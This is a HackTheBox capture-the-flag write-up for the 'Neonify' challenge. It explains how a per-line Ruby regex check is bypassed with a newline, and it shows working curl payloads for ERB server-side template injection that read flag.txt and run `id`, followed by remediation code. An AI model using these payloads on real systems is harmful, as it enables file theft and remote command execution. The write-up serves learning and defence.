
Neonify
Platform : HackTheBox
Type : Challenge
Difficulty : ⭐⭐☆☆☆
Table of contents
Reconnaissance
Web reconnaissance
When navigating to the web application, we can find an text input field and a submit button :

When we enter a text and submit it, it is reflected on the web page. For exemple, I will enter « This is a test » :

As we can see, the text is simply « neonified » and reflected. The fact that the text is sent to the server and then reflected could lead to multiple vulnerabilities such as XSS or SSTI depending on the backend and multiple other factors like filters. We can use curl to retrieve the target web application response headers and see if we have more information on the backend being used :
┌──(kali㉿kali)-[~]
└─$ curl -I http://94.237.57.1:53212/
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 553
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Server: WEBrick/1.6.1 (Ruby/2.7.5/2021-11-24)
Date: Tue, 14 Oct 2025 09:20:23 GMT
Connection: Keep-Alive
The server is running WEBrick which is a HTTP server toolkit written in Ruby. If the server is using a template engine, we could try to exploit a Server-Side Template Injection (SSTI) to read arbitrary files, or even execute malicious commands / code on the target server.
Code analysis
We are also provided with the source code of the target web application. Using Visual Studio Code, we can easily navigate through the different directories and source code files. By looking at the extension of challenge/app/views/index.erb
, we can conclude that the target web application is using the ERB template system :

As we can see in this template file, there is an ERB tag <%= @neon %>
. This tag is an Expression tag.

According to the official ERB documentation, this tag is used to embed a Ruby expression. It will simply output the content of the @neon
variable. So the server is using a template with our user input to show the result of the neonified text. Depending on how the server handles the user input, it could be vulnerable to a Server-Side Template Injection (SSTI). Let’s take a look at challenge/app/controllers/neon.rb
:
class NeonControllers < Sinatra::Base
configure do
set :views, "app/views"
set :public_dir, "public"
end
get '/' do
@neon = "Glow With The Flow"
erb :'index'
end
post '/' do
if params[:neon] =~ /^[0-9a-z ]+$/i
@neon = ERB.new(params[:neon]).result(binding)
else
@neon = "Malicious Input Detected"
end
erb :'index'
end
end
When we send a POST request to the web application, the parameter neon is tested against a regular expression. The regular expression tests if the user input contains anything other than digits or letters. If so, @neon
receive « Malicious Input Detected », which is then reflected on the web page. If the user input matches the regular expression, the user input is considered as safe. Then, the server creates a new template instance with ERB.new()
and uses the user input as a template. The result
method is then called to evaluate the template (which means executing Ruby expression tags in it) and retrieve the output.
The danger here is the fact that if we achieve to bypass the regular expression check, our user input is used as a Ruby template, which is unnecessary since it should only be interpreted as text. Since the user input is interpreted as a template, the server will also execute the code in the Ruby expression tags we send. But one problem remains, we still do not know how to bypass the regular expression check.
Bypassing the regular expression
If we take a look closer at it, we can notice the ^
(the start of a line) at the beginning and the $
(the end of a line) at the end. Their presence makes the regular expression return true if at least one line in our user input matches the authorized characters, even if other lines contains malicious input. For exemple if we send the following input in the neon
parameter :
This string <%= malicious_payload_here %> is malicious
This string is ok # returns true since it matches the regex
Since there is at least one line that matches the regex, the condition is true, even if we append or prepend malicious lines. To send multiple lines in one POST parameter, we can URL encode the line return character (%0a
) :
┌──(kali㉿kali)-[~]
└─$ curl http://94.237.57.1:53212/ -X POST -d 'neon=test%0a<$malicious'
<!DOCTYPE html>
<html>
<head>
<title>Neonify</title>
<link rel="stylesheet" href="stylesheets/style.css">
<link rel="icon" type="image/gif" href="/images/gem.gif">
</head>
<body>
<div class="wrapper">
<h1 class="title">Amazing Neonify Generator</h1>
<form action="/" method="post">
<p>Enter Text to Neonify</p><br>
<input type="text" name="neon" value="">
<input type="submit" value="Submit">
</form>
<h1 class="glow">test
<$malicious</h1>
</div>
</body>
</html>
As we can see, the server accepted our input even if it contains forbidden characters.
Exploitation
Now, we only need to exploit this vulnerability to read the flag in flag.txt
. To do so, we will execute File.read("flag.txt")
:
┌──(kali㉿kali)-[~]
└─$ curl http://94.237.57.1:53212/ -X POST -d 'neon=test%0a<%25= File.read("flag.txt")%25>'
<!DOCTYPE html>
<html>
<head>
<title>Neonify</title>
<link rel="stylesheet" href="stylesheets/style.css">
<link rel="icon" type="image/gif" href="/images/gem.gif">
</head>
<body>
<div class="wrapper">
<h1 class="title">Amazing Neonify Generator</h1>
<form action="/" method="post">
<p>Enter Text to Neonify</p><br>
<input type="text" name="neon" value="">
<input type="submit" value="Submit">
</form>
<h1 class="glow">test
HTB{<REDACTED>}</h1>
</div>
</body>
</html>
Our Ruby expression was successfully executed and we retrieved the flag. This vulnerability could also be exploited to create new files or even execute arbitrary system commands and obtain a foothold on the system. For exemple, we could execute the id
command :
┌──(kali㉿kali)-[~]
└─$ curl http://94.237.57.1:53212/ -X POST -d 'neon=test%0a<%25= `id` %25>'
<!DOCTYPE html>
<html>
<head>
<title>Neonify</title>
<link rel="stylesheet" href="stylesheets/style.css">
<link rel="icon" type="image/gif" href="/images/gem.gif">
</head>
<body>
<div class="wrapper">
<h1 class="title">Amazing Neonify Generator</h1>
<form action="/" method="post">
<p>Enter Text to Neonify</p><br>
<input type="text" name="neon" value="">
<input type="submit" value="Submit">
</form>
<h1 class="glow">test
uid=1000(www) gid=1000(www) groups=1000(www)
</h1>
</div>
</body>
</html>
Remediation
First, the user input should not be used as a template. At line 15 of challenge/app/controllers/neon.rb
we can replace @neon = ERB.new(params[:neon]).result(binding)
by @neon = params[:neon]
. This way, the server is not vulnerable to SSTI anymore.
But the web application is not yet secure, since the user input is still badly filtered, it may still be vulnerable to other vulnerabilities such as Self XSS. We can remove the regular expression check and instead use CGI::escapeHTML
to escape the user input and ensure it is not interpreted as HTML code.
Here is a safer version of challenge/app/controllers/neon.rb
:
class NeonControllers < Sinatra::Base
configure do
set :views, "app/views"
set :public_dir, "public"
end
get '/' do
@neon = "Glow With The Flow"
erb :'index'
end
post '/' do
@neon = CGI::escapeHTML(params[:neon])
erb :'index'
end
end
With this code, the server is not vulnerable to SSTI or XSS anymore and the user input cannot be interpreted as code.
Sources
- Regex reference : https://rubular.com/
- escapeHTML method : https://ruby-doc.org/stdlib-2.5.1/libdoc/cgi/rdoc/CGI/Util.html#method-i-escapeHTML
- SSTI cheat-sheet : https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Ruby.md